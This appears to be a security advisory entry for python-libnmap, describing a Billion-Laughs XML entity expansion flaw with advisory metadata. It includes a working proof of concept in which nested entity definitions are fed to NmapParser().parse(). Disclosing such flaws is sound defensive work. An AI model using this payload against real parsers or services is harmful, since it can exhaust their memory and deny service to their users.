python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.
ty = NmapParser()
payload = """
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""
ty.parse(payload)
{ "nvd_published_at": "2019-07-15T03:15:00Z", "cwe_ids": [ "CWE-91" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2019-07-18T15:38:22Z" }